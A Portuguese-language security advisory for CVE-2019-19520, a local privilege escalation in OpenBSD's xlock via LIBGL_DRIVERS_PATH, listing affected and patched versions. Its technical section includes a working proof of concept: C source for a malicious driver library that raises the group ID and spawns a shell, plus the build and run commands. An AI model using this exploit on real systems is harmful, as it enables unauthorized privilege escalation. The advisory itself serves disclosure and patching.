ASA-2019-00651 – OpenBSD: Escalação de privilégios via comando xlock


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00651

Identificador(es)

ASA-2019-00651, CVE-2019-19520

Título

Escalação de privilégios via comando xlock

Fabricante(s)

The OpenBSD Project

Produto(s)

OpenBSD

Versão(ões) afetada(s)

OpenBSD versões 6.6 anteriores a errata 009
OpenBSD versões 6.5 anteriores a errata 020

Versão(ões) corrigida(s)

OpenBSD versão 6.6 errata 009
OpenBSD versão 6.5 errata 020

OpenBSD versões 6.6 com o seguinte patch aplicado:

009_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/009_mesaxlock.patch.sig

OpenBSD versions 6.5 com o seguinte patch aplicado:

020_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/020_mesaxlock.patch.sig

Prova de Conceito

Sim

Descrição

O xlock no OpenBSD permite que os usuários locais obtenham os privilégios do grupo de autenticação fornecendo uma variável de ambiente LIBGL_DRIVERS_PATH, porque o xenocara/lib/mesa/src/loader/loader.c manipula incorretamente dlopen.

Detalhes técnicos

No OpenBSD, /usr/X11R6/bin/xlock é instalado por padrão e tem o ID do grupo “auth”, não o ID do usuário definido; a verificação a seguir está incompleta e deve usar issetugid():

101 _X_HIDDEN void *
102 driOpenDriver(const char *driverName)
103 {
...
113 if (geteuid() == getuid()) {
114 /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */
115 libPaths = getenv("LIBGL_DRIVERS_PATH");

Um atacante local pode explorar essa vulnerabilidade e chamar dlopen() em seu próprio driver para obter os privilégios do grupo “auth”:

$ id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
gid_t rgid, egid, sgid;
if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);

char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

Créditos

Qualys Research Team

Referência(s)

OpenBSD 6.6 Errata
https://www.openbsd.org/errata66.html

OpenBSD 6.5 Errata
https://www.openbsd.org/errata65.html

009_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/009_mesaxlock.patch.sig

020_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/020_mesaxlock.patch.sig

Constrain honouring of path-related environment variables based upon
https://github.com/openbsd/xenocara/commit/5886ab525a096cb2504f9e3ce1cd4fd79fb1e414

Full Disclosure: Authentication vulnerabilities in OpenBSD
https://seclists.org/fulldisclosure/2019/Dec/14

oss-security – Authentication vulnerabilities in OpenBSD
https://www.openwall.com/lists/oss-security/2019/12/04/5

Bugtraq: Authentication vulnerabilities in OpenBSD
https://seclists.org/bugtraq/2019/Dec/8

CVE-2019-19520
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19520

CVE-2019-19520
https://nvd.nist.gov/vuln/detail/CVE-2019-19520

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 11 fevereiro 2020

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.